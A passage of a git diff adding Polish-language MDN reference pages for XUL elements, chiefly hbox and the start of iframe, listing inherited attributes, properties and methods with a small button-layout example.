+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
diff --git a/files/pl/mozilla/tech/xul/hbox/index.html b/files/pl/mozilla/tech/xul/hbox/index.html
new file mode 100644
index 0000000000..2988eefa0d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/hbox/index.html
@@ -0,0 +1,100 @@
+---
+title: hbox
+slug: Mozilla/Tech/XUL/hbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/hbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener mogący zawierać wiele elementów potomnych. Równoważny z elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Model_pude%c5%82kowy">kursie XUL</a>. </p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;!-- Dwa przyciski z prawej strony --&gt;
+&lt;hbox&gt;
+ &lt;spacer flex="1"/&gt;
+ &lt;button label="Połacz"/&gt;
+ &lt;button label="Ping" /&gt;
+&lt;/hbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/vbox" title="vbox">vbox</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/iframe/index.html b/files/pl/mozilla/tech/xul/iframe/index.html
new file mode 100644
index 0000000000..61df7e583c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/iframe/index.html
@@ -0,0 +1,182 @@
+---
+title: iframe
+slug: Mozilla/Tech/XUL/iframe
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/iframe
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Wewnętrzna ramka, która działa bardzo podobnie do elementu <code>iframe</code> z języka <a href="pl/HTML">HTML</a>. Atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code> służy do określenia zawartości ramki. Treść ta stanowi osobny dokument. Elementy potomne ramki (<code>iframe</code>) są ignorowane.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Panele_tre%c5%9bci">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-src">src</a>
+</dd></dl>
